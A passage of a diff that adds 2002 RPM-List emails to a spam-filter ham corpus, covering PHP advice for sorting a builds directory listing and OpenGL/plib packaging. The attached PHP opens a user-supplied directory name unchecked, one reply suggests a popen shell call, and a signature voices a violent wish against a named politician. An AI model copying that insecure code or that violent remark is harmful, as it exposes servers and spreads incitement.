directory, it's the ordering that scares me a bit more. + +Attached is the current code (please keep in mind that I'm not a +programmer, it usually explains a lot ;-)). + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +--Multipart_Thu__1_Aug_2002_10:51:56_+0200_0865e508 +Content-Type: text/html; + name="index.html" +Content-Disposition: attachment; + filename="index.html" +Content-Transfer-Encoding: 7bit + + + +

+These are the current versions of all spec files and patches used for the builds you may find here. An anonymous CVS repository may be available some day so that all older releases become available too... "maybe", that is... + +Builds which have files publicly available :\n\n

\n"; + while ( $file = readdir( $open_dir ) ) { + if ( ( is_dir( $file ) ) and ( !eregi("^\.|CVS$", $file) ) ) { + echo "\"dot\" $file
\n"; + } + } +} else { + if ( is_dir( $build ) ) { + $open_dir = opendir( $build ); + echo "

Files available for build \"$build\" :\n\n

\n"; + while ( $file = readdir( $open_dir ) ) { + if ( !is_dir( $file ) ) { + echo "\"dot\" $file
\n"; + } + } + } else { + echo "

\nEeeek! I can't find that build.\n

\n\n"; + } + echo "

Back to the list of builds\n\n"; +} +?> + + + + +--Multipart_Thu__1_Aug_2002_10:51:56_+0200_0865e508-- + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01188.562fdb9dade3c2ef5e58ff18c04367bc b/bayes/spamham/easy_ham_2/01188.562fdb9dade3c2ef5e58ff18c04367bc new file mode 100644 index 0000000..d8c60fb --- /dev/null +++ b/bayes/spamham/easy_ham_2/01188.562fdb9dade3c2ef5e58ff18c04367bc @@ -0,0 +1,76 @@ +From rpm-list-admin@freshrpms.net Thu Aug 1 11:27:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3FD29440C9 + for ; Thu, 1 Aug 2002 06:27:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 11:27:47 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71A03206411 for + ; Thu, 1 Aug 2002 11:00:03 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g719t2J31052; Thu, 1 Aug 2002 11:55:02 + +0200 +Received: from posti.pp.htv.fi (posti.pp.htv.fi [212.90.64.50]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g719sEJ30949 for + ; Thu, 1 Aug 2002 11:54:14 +0200 +Received: from cs78128057.pp.htv.fi ([62.78.128.57]) by posti.pp.htv.fi + (8.11.1/8.11.1) with ESMTP id g719s8H17811 for ; + Thu, 1 Aug 2002 12:54:08 +0300 (EETDST) +Subject: Re: Quick php advice needed :-) +From: Ville =?ISO-8859-1?Q?Skytt=E4?= +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020801105156.73fb7f9f.matthias@egwn.net> +References: <20020801105156.73fb7f9f.matthias@egwn.net> +Content-Type: text/plain; charset=ISO-8859-1 +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1028195652.7627.205.camel@bobcat.ods.org> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g719sEJ30949 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 01 Aug 2002 12:54:12 +0300 +Date: 01 Aug 2002 12:54:12 +0300 + +On Thu, 2002-08-01 at 11:51, Matthias Saou wrote: + +> Sorry, this hasn't got much to do with rpm packages directly ;-) +> +> My "builds" page is getting bigger and bigger, and quite messy as +> directories are listed in no particular order : +> http://freshrpms.net/builds/ +> +> What I'd need is to have last modification date of the directory displayed +> next to the directory name (sort of like "mplayer - Thu Aug 1 2002"), and +> the list ordered to have the most recent entries at the top. + +Take a look at +, that's what produces the list at . Dirs are sorted alphabetically there, but I guess sorting by date wouldn't be that hairy... + +-- +\/ille Skyttä +ville.skytta at iki.fi + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01189.98e80634df71ca4a98c7bd4d10ac2198 b/bayes/spamham/easy_ham_2/01189.98e80634df71ca4a98c7bd4d10ac2198 new file mode 100644 index 0000000..067ffbf --- /dev/null +++ b/bayes/spamham/easy_ham_2/01189.98e80634df71ca4a98c7bd4d10ac2198 @@ -0,0 +1,81 @@ +From rpm-list-admin@freshrpms.net Thu Aug 1 11:28:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 61BA8440E6 + for ; Thu, 1 Aug 2002 06:27:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 11:27:50 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71AAj206814 for + ; Thu, 1 Aug 2002 11:10:45 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g71A52J06179; Thu, 1 Aug 2002 12:05:02 + +0200 +Received: from demuslinux.araneum.dk (nat2.araneum.dk [195.54.85.250]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g71A4WJ06101 for + ; Thu, 1 Aug 2002 12:04:32 +0200 +Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) + by demuslinux.araneum.dk (8.11.6/8.11.6) with ESMTP id g71A9ar05200 for + ; Thu, 1 Aug 2002 12:09:36 +0200 +Subject: Re: Quick php advice needed :-) +From: Daniel Demus +To: RPM-List +In-Reply-To: <20020801105156.73fb7f9f.matthias@egwn.net> +References: <20020801105156.73fb7f9f.matthias@egwn.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1028196576.2434.5.camel@demuslinux> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 01 Aug 2002 12:09:34 +0200 +Date: 01 Aug 2002 12:09:34 +0200 + +On Thu, 2002-08-01 at 10:51, Matthias Saou wrote: +> Sorry, this hasn't got much to do with rpm packages directly ;-) +> +> My "builds" page is getting bigger and bigger, and quite messy as +> directories are listed in no particular order : +> http://freshrpms.net/builds/ +> +> What I'd need is to have last modification date of the directory displayed +> next to the directory name (sort of like "mplayer - Thu Aug 1 2002"), and +> the list ordered to have the most recent entries at the top. +> +> Now, if there are php programmers on this list, I'd love to have their help +> on how to do this ;-) It must be quite simple to get the system mtime for +> the directory, it's the ordering that scares me a bit more. +> +> Attached is the current code (please keep in mind that I'm not a +> programmer, it usually explains a lot ;-)). +> + +You could try opening the directory with $filelist = popen("ls -t +", "r"). This should give you the filenames in the +directory sorted by mod.time. You can then open each filename, and read +filemtime() to get the mod.time. + +Daniel + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01190.dd6ead8cfbe0f8c5455841ed0e944488 b/bayes/spamham/easy_ham_2/01190.dd6ead8cfbe0f8c5455841ed0e944488 new file mode 100644 index 0000000..f5d5b24 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01190.dd6ead8cfbe0f8c5455841ed0e944488 @@ -0,0 +1,75 @@ +From rpm-list-admin@freshrpms.net Thu Aug 1 11:38:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E29EB440A8 + for ; Thu, 1 Aug 2002 06:38:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 11:38:41 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71AVw207862 for + ; Thu, 1 Aug 2002 11:31:58 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g71AP1J20967; Thu, 1 Aug 2002 12:25:01 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g71ANiJ20546 for + ; Thu, 1 Aug 2002 12:23:44 +0200 +Received: from aquila.kamakiriad.local ([192.168.1.3]) by kamakiriad.com + (8.11.6/8.11.0) with SMTP id g71ANNM07389 for ; + Thu, 1 Aug 2002 05:23:23 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Subject: Re: Quick php advice needed :-) +Message-Id: <20020801052322.0ba23786.kilroy@kamakiriad.com> +In-Reply-To: <20020801105156.73fb7f9f.matthias@egwn.net> +References: <20020801105156.73fb7f9f.matthias@egwn.net> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 1 Aug 2002 05:23:22 -0500 +Date: Thu, 1 Aug 2002 05:23:22 -0500 + +On Thu, 1 Aug 2002 10:51:56 +0200, Matthias Saou wrote: + +> Sorry, this hasn't got much to do with rpm packages directly ;-) +> +> My "builds" page is getting bigger and bigger, and quite messy as +> directories are listed in no particular order : +> http://freshrpms.net/builds... + + Yep. Make sure there's a field in the database called (for example) "Updated" and when it comes time to generate the list, add "order by updated". This'll put it in that particular order for ya. You can also chose to order it by name, etc by changing this field. + + This should be the same for both MySql and Postgressql (any modern SQL, really). Which are you using? + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01191.2ad596e12ede306c303772b578244da5 b/bayes/spamham/easy_ham_2/01191.2ad596e12ede306c303772b578244da5 new file mode 100644 index 0000000..7d7d9f3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01191.2ad596e12ede306c303772b578244da5 @@ -0,0 +1,89 @@ +From rpm-list-admin@freshrpms.net Thu Aug 1 11:59:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A458A440CD + for ; Thu, 1 Aug 2002 06:59:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 11:59:11 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71B05208999 for + ; Thu, 1 Aug 2002 12:00:05 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g71As1J10365; Thu, 1 Aug 2002 12:54:01 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g71ArYJ10009 for + ; Thu, 1 Aug 2002 12:53:34 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: Quick php advice needed :-) +Message-Id: <20020801125300.38a3da03.matthias@egwn.net> +In-Reply-To: <20020801052322.0ba23786.kilroy@kamakiriad.com> +References: <20020801105156.73fb7f9f.matthias@egwn.net> + <20020801052322.0ba23786.kilroy@kamakiriad.com> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 1 Aug 2002 12:53:00 +0200 +Date: Thu, 1 Aug 2002 12:53:00 +0200 + +Once upon a time, Brian wrote : + +> On Thu, 1 Aug 2002 10:51:56 +0200, Matthias Saou +> wrote: +> +> > Sorry, this hasn't got much to do with rpm packages directly ;-) +> > +> > My "builds" page is getting bigger and bigger, and quite messy as +> > directories are listed in no particular order : +> > http://freshrpms.net/builds... +> +> Yep. Make sure there's a field in the database called (for example) +> "Updated" and when it comes time to generate the list, add "order by +> updated". This'll put it in that particular order for ya. You can +> also chose to order it by name, etc by changing this field. +> +> This should be the same for both MySql and Postgressql (any modern +> SQL, really). Which are you using? + +None for that "builds" part : It's just an export of the CVS tree in which +I keep my spec files and patches! ;-) +I think the filemtime() php function that Ville uses in his sript is what +I'm looking for, then I guess I just need to fill an array with the names +and mtimes, sort it, then display what I want :-) + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01192.5ff6d465f9c249d967776fc556e48f58 b/bayes/spamham/easy_ham_2/01192.5ff6d465f9c249d967776fc556e48f58 new file mode 100644 index 0000000..41b1f58 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01192.5ff6d465f9c249d967776fc556e48f58 @@ -0,0 +1,75 @@ +From rpm-list-admin@freshrpms.net Thu Aug 1 12:19:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 18F08440E9 + for ; Thu, 1 Aug 2002 07:19:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 12:19:48 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71BDx209732 for + ; Thu, 1 Aug 2002 12:13:59 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g71B90J05035; Thu, 1 Aug 2002 13:09:00 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g71B8RJ04678 for + ; Thu, 1 Aug 2002 13:08:27 +0200 +Received: from aquila.kamakiriad.local ([192.168.1.3]) by kamakiriad.com + (8.11.6/8.11.0) with SMTP id g71B8MM07541 for ; + Thu, 1 Aug 2002 06:08:22 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Subject: Re: Quick php advice needed :-) +Message-Id: <20020801060821.014a3531.kilroy@kamakiriad.com> +In-Reply-To: <20020801125300.38a3da03.matthias@egwn.net> +References: <20020801105156.73fb7f9f.matthias@egwn.net> + <20020801052322.0ba23786.kilroy@kamakiriad.com> + <20020801125300.38a3da03.matthias@egwn.net> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 1 Aug 2002 06:08:21 -0500 +Date: Thu, 1 Aug 2002 06:08:21 -0500 + +On Thu, 1 Aug 2002 12:53:00 +0200, Matthias Saou wrote: + +> None for that "builds" part : It's just an export of the CVS tree in which +> I keep my spec files and patches! ;-) +> I think the filemtime() php function that Ville uses in his sript is what +> I'm looking for, then I guess I just need to fill an array with the names +> and mtimes, sort it, then display what I want :-) + + Arg; what a pain. You can have a cron job to 'digest' this information every so often and populate the database... + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01193.d92e89c408094154ffdc676c5a403aa9 b/bayes/spamham/easy_ham_2/01193.d92e89c408094154ffdc676c5a403aa9 new file mode 100644 index 0000000..73fec30 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01193.d92e89c408094154ffdc676c5a403aa9 @@ -0,0 +1,90 @@ +From rpm-list-admin@freshrpms.net Thu Aug 1 15:29:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C4FD8440F0 + for ; Thu, 1 Aug 2002 10:29:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 15:29:38 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71EPs216084 for + ; Thu, 1 Aug 2002 15:25:54 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g71EB0J15084; Thu, 1 Aug 2002 16:11:01 + +0200 +Received: from blueyonder.co.uk (pcow058o.blueyonder.co.uk + [195.188.53.98]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g71EA4J11525 for ; Thu, 1 Aug 2002 16:10:04 +0200 +Received: from pcow058m.blueyonder.co.uk ([127.0.0.1]) by blueyonder.co.uk + with Microsoft SMTPSVC(5.5.1877.757.75); Thu, 1 Aug 2002 15:10:03 +0100 +Received: from localhost.localdomain (unverified [62.31.166.240]) by + pcow058m.blueyonder.co.uk (Content Technologies SMTPRS 4.2.9) with ESMTP + id for + ; Thu, 1 Aug 2002 15:10:03 +0100 +Content-Type: text/plain; charset="iso-8859-1" +From: John Hinsley +To: rpm-zzzlist@freshrpms.net +Subject: Re: OpenGL +User-Agent: KMail/1.4.1 +References: <200207310534.37053.johnhinsley@blueyonder.co.uk> + <200207311635.18353.johnhinsley@blueyonder.co.uk> + <20020801142956.1c1c55b3.ralf@camperquake.de> +In-Reply-To: <20020801142956.1c1c55b3.ralf@camperquake.de> +MIME-Version: 1.0 +Message-Id: <200208011508.59608.johnhinsley@blueyonder.co.uk> +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g71EA4J11525 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 1 Aug 2002 15:08:59 +0100 +Date: Thu, 1 Aug 2002 15:08:59 +0100 + +On Thursday 01 Aug 2002 1:29 pm, Ralf Ertzinger wrote: +> Hi. +> +> John Hinsley wrote: +> > So, I *do* have OpenGL, thanks all. +> +> And it is using your hardware. +> +> > Problem is that I can't find an rpm of plib which will install (or +> > recognise that I have open GL). I guess I'll have to try and do that +> > from source, unless anyone has any ideas? +> +> plib as in plib.sf.net? They do not provide RPMs, as far as I have seen +> (and I did not look inside the tarballs). Maybe it will be best to +> build your RPMS yourself (and maybe Matthias can share some insight +> in building RPMS with NVIDIAs drivers installed, it seems to be a +> little tricky to do that and get RPMS which install on systems +> without these drivers). + +Please! It does seem that with 7.3 something rather extraordinary has +happened! And while there are rpms for plib (as in plib.sf.net), TuxRacer, +FlightGear and so on (for SuSE, Mandy and Connectiva, IIRC) dotted around, +there are none for 7.3. + +Cheers + +John + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01194.99791f72d72a943330c3de0ac3990f9b b/bayes/spamham/easy_ham_2/01194.99791f72d72a943330c3de0ac3990f9b new file mode 100644 index 0000000..c23ce19 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01194.99791f72d72a943330c3de0ac3990f9b @@ -0,0 +1,87 @@ +From rpm-list-admin@freshrpms.net Thu Aug 1 20:15:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 21EF8440F0 + for ; Thu, 1 Aug 2002 15:15:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 20:15:36 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71JBM227090 for + ; Thu, 1 Aug 2002 20:11:22 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g71It1J24842; Thu, 1 Aug 2002 20:55:02 + +0200 +Received: from bob.dudex.net (dsl092-157-004.wdc1.dsl.speakeasy.net + [66.92.157.4]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g71IsnJ24482 + for ; Thu, 1 Aug 2002 20:54:49 +0200 +Received: from [66.92.157.3] (helo=www.dudex.net) by bob.dudex.net with + esmtp (Exim 3.35 #1) id 17aL5f-00014f-00 for rpm-list@freshrpms.net; + Thu, 01 Aug 2002 14:54:27 -0400 +X-Originating-Ip: [66.92.157.2] +From: "" Angles " Puglisi" +To: "=?iso-8859-1?Q?RPM=2DList?=" +Subject: Re: Quick php advice needed :-) +Message-Id: <20020801.rf6.88855800@www.dudex.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +Content-Disposition: inline +X-Mailer: AngleMail for phpGroupWare (http://www.phpgroupware.org) v + 0.9.14.000 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 01 Aug 2002 18:54:16 +0000 +Date: Thu, 01 Aug 2002 18:54:16 +0000 + +I am a php programmer (very busy one at that - anglemail.org) but if someone +gets to this before me, I would also love to se the code because I want my +rpms site to be more user friendly. + +Matthias Saou (matthias@egwn.net) wrote*: +> +>Sorry, this hasn't got much to do with rpm packages directly ;-) +> +>My "builds" page is getting bigger and bigger, and quite messy as +>directories are listed in no particular order : +>http://freshrpms.net/builds/ +> +>What I'd need is to have last modification date of the directory displayed +>next to the directory name (sort of like "mplayer - Thu Aug 1 2002"), and +>the list ordered to have the most recent entries at the top. +> +>Now, if there are php programmers on this list, I'd love to have their help +>on how to do this ;-) It must be quite simple to get the system mtime for +>the directory, it's the ordering that scares me a bit more. +> +>Attached is the current code (please keep in mind that I'm not a +>programmer, it usually explains a lot ;-)). +> +>Matthias +> +> + +-- +That's "angle" as in geometry. + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01195.e7834b72cb6abc842f6d61f8cb08e346 b/bayes/spamham/easy_ham_2/01195.e7834b72cb6abc842f6d61f8cb08e346 new file mode 100644 index 0000000..6a7de0d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01195.e7834b72cb6abc842f6d61f8cb08e346 @@ -0,0 +1,82 @@ +From rpm-list-admin@freshrpms.net Fri Aug 2 16:32:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0250744102 + for ; Fri, 2 Aug 2002 11:32:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 16:32:09 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72Ekkn01521 for + ; Fri, 2 Aug 2002 15:46:46 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id OAA03232 for ; + Fri, 2 Aug 2002 14:23:14 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g72DH1J11865; Fri, 2 Aug 2002 15:17:01 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g72DGKJ11597 for + ; Fri, 2 Aug 2002 15:16:21 +0200 +Received: from aquila.kamakiriad.local ([192.168.1.3]) by kamakiriad.com + (8.11.6/8.11.0) with SMTP id g71NbXM08421; Thu, 1 Aug 2002 18:37:33 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: johnhinsley@blueyonder.co.uk +Subject: Re: OpenGL +Message-Id: <20020801183732.30ee28f4.kilroy@kamakiriad.com> +In-Reply-To: <200208011710.48294.johnhinsley@blueyonder.co.uk> +References: <200207310534.37053.johnhinsley@blueyonder.co.uk> + <200208011508.59608.johnhinsley@blueyonder.co.uk> + <20020801094348.61b6a4cb.kilroy@kamakiriad.com> + <200208011710.48294.johnhinsley@blueyonder.co.uk> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 1 Aug 2002 18:37:32 -0500 +Date: Thu, 1 Aug 2002 18:37:32 -0500 + +On Thu, 1 Aug 2002 17:10:48 +0100, John Hinsley wrote: + +> No, the problem is that what plip expects is GL/glut.h (amongst other things) +> which were there in 7.2 but have vanished in 7.3. + + Yeah, I know what you mean. Here's the trick: + + Remove the Nvidia 